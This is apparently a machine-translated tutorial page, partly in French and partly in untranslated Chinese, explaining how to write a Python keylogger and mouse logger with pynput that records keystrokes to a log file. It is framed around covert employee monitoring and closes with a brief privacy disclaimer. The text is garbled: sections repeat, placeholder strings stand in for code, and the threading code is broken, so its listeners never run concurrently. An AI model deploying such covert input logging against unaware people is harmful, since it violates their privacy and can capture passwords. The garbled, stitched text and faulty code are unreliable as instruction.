Maison >développement back-end >Tutoriel Python >Écrire un programme de surveillance informatique en Python

Écrire un programme de surveillance informatique en Python

WBOY
WBOYavant
2023-04-11 21:46:331820parcourir

Écrire un programme de surveillance informatique en Python

Suite au suivi des comportements frivoles tels que jouer à des jeux et regarder des vidéos, la tendance des travailleurs à quitter leur emploi sera également surveillée. Récemment certains internautes ont déclaré que leur entreprise avait installé un système de détection comportementale, qui permet de connaître à l'avance les intentions des employés de changer d'emploi.

Pendant un certain temps, il y a eu des discussions interminables sur "c'est trop difficile de travailler en tant que travailleur" et "pas d'intimité du tout".

Certains amis ont demandé : ce type de surveillance est-il techniquement réalisable ? Est-ce compliqué ? Aujourd'hui, je vais vous montrer comment utiliser quelques lignes de code Python pour surveiller les opérations sur votre ordinateur.

Surveillez le clavier

Si l'entreprise exécute secrètement un processus en arrière-plan sur notre ordinateur pour surveiller nos événements de clavier, la méthode d'écriture python la plus simple ressemble à ceci :

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()


Appuyez sur le clavier à volonté et vous serez contrôlé depuis Le la station a vu cette sortie :

Écrire un programme de surveillance informatique en Python

Le contenu du code est composé de deux méthodes, l'une consiste à écouter les événements clés et l'autre à écouter les événements de sortie - en tapant sur ESC Appuyez et relâchez pour quitter. ESC 按键后释放就退出了。

监控鼠标

如果还要监听鼠标事件,那么上这段代码就行了:

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')


# 定义鼠标监听线程
with mouse.Listener(on_click=on_click) as listener:
    listener.join()


这段代码主要是监听鼠标的左右键点击操作,运行之后操作鼠标,就可以看到控制台打印如下结果:

Écrire un programme de surveillance informatique en Python

细心的你一定会发现,每次点击事件,都打印了两次。这是因为按下和松开都会触发鼠标事件。

记录监控日志

键盘事件和鼠标事件都有了,是时候将二者结合起来,把用户的操作记录到日志了。这里我们用 loguru 这个模块来记录日志。

整个代码如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定义键盘监听线程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False


# 定义鼠标监听线程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()


运行之后,你就可以在同级目录下的日志文件中,看到这样的内容了:

Écrire un programme de surveillance informatique en Python

总结

本文主要通过 ​​pynput​

Surveillez la souris

Si vous souhaitez toujours surveiller les événements de la souris, ajoutez simplement ce code : 🎜rrreee🎜Ce code sert principalement à surveiller les opérations de clic gauche et droit de la souris. Après l'exécution, faites fonctionner la souris et vous pourrez. voir la console imprimer comme suit Résultat : 🎜🎜Écrire un programme de surveillance informatique en Python🎜🎜Si vous faites attention, vous constaterez certainement que chaque événement de clic est imprimé deux fois. En effet, appuyer et relâcher déclenche des événements de souris. 🎜🎜Enregistrer les journaux de surveillance🎜🎜Maintenant qu'il existe des événements de clavier et de souris, il est temps de combiner les deux et d'enregistrer les opérations de l'utilisateur dans le journal. Ici, nous utilisons le module loguru pour enregistrer les journaux. 🎜🎜L'intégralité du code est la suivante : 🎜rrreee🎜Après l'exécution, vous pouvez voir le contenu suivant dans le fichier journal dans le même répertoire : 🎜🎜Écrire un programme de surveillance informatique en Python🎜🎜Résumé🎜🎜Cet article provient principalement de​​pynput​​ Ce module python montre comment enregistrer les opérations du clavier et de la souris. Ces lignes de code simples sont réalisables pour une surveillance simple des entrées, mais pour les instructions complexes telles que les enregistrements de discussion, vous devez toujours utiliser le traitement du langage NLTK pour les journaux afin de restaurer vos enregistrements de discussion. 🎜🎜Bien sûr, nous discutons ici uniquement de la faisabilité technique. Veuillez ne rien faire qui puisse nuire à la vie privée d'autrui. D'ailleurs, avec ce seul code, d'autres remarqueront d'un coup d'oeil qu'il y a un programme d'enregistrement des opérations...🎜

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer